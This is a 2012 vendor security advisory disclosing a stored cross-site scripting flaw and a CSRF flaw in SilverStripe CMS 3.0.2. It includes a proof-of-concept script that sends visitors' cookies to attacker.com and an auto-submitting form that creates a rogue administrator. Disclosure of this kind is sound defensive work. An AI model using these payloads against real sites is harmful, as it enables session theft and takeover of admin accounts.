SilverStripe CMS - Multiple Vulnerabilities - Security Advisory - SOS-12-011


Sense of Security - Security Advisory - SOS-12-011 Release Date. 30-Nov-2012 Last Update. - Vendor Notification Date. 29-Oct-2012 Product. SilverStripe CMS Platform. Windows Affected versions. 3.0.2 Severity Rating. Medium Impact. Privilege escalation, cross-site scripting Attack Vector. From remote with authentication Solution Status. Upgrade to version 3.0.3 CVE reference. CVE - not yet assigned Details. SilverStripe CMS is an open source web content management system used to build websites, intranets, and web applications. SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS) vulnerability and Cross-Site Request Forgeries (CSRF). Stored XSS: The site title field in the configuration page fails to securely output encode stored values. As a result, an authenticated attacker can trigger the application to store a malicious string by entering the values into the site title field. When a user visits the web site, the malicious code will be executed in the client browser. Proof of Concept XSS: Enter the below into the site title field: <script>document.location="http://attacker.com/stealcookie.php?cookie=" + document.cookie</script> When any user visits the web site the above client-side code will be executed in the client browser to steal their cookie. The following page is vulnerable: http://www.website.com/admin/settings/ CSRF: The privilege escalation is possible because the form used to change user account passwords does not require the user to confirm their current password and is vulnerable to CSRF. An attacker can reset an Administrator password by creating a malicious web site that sends a POST request to change the current user's password while they are logged into the CMS. This vulnerability can be combined with the above XSS to force the user to visit the malicious web site as soon as the user logs into the CMS. The only item required to create the CSRF is the SecurityID value which can be extracted from many pages in the CMS. After sending the request the attacker can login as a new Administrator with the credentials detailed below. Proof of Concept CSRF: Example CSRF Request to create a new admin user with limited CSRF protection enabled: <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action=" http://x.x.x.x/admin/security/EditForm/field/Members/item/new/ItemEditForm" name="form" method="POST"> <input type="text" name="FirstName" value="Alan"> <input type="text" name="LastName" value="Jackson"> <input type="text" name="Email" value="ajackson79@outlook.com"> <input type="text" name=" Password[_Password]" value="Squash!"> <input type="text" name=" Password[_ConfirmPassword]" value="Squash!"> <input type="text" name="Locale" value="en_GB"> <input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b"> <input type="text" name="action_doSave" value="1"> </form> </body><br> </html> Solution. Upgrade to version 3.0.3. Discovered by. Nathaniel Carew from Sense of Security Labs. About us. Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations. Sense of Security Pty Ltd Level 8, 66 King St Sydney NSW 2000 AUSTRALIA T: +61 (0)2 9290 4444 F: +61 (0)2 9290 4455 W: http://www.senseofsecurity.com.au E: info@senseofsecurity.com.au Twitter: @ITsecurityAU The latest version of this advisory can be found at: http://www.senseofsecurity.com.au/advisories/SOS-12-011.pdf Other Sense of Security advisories can be found at: http://www.senseofsecurity.com.au/research/it-security-advisories.php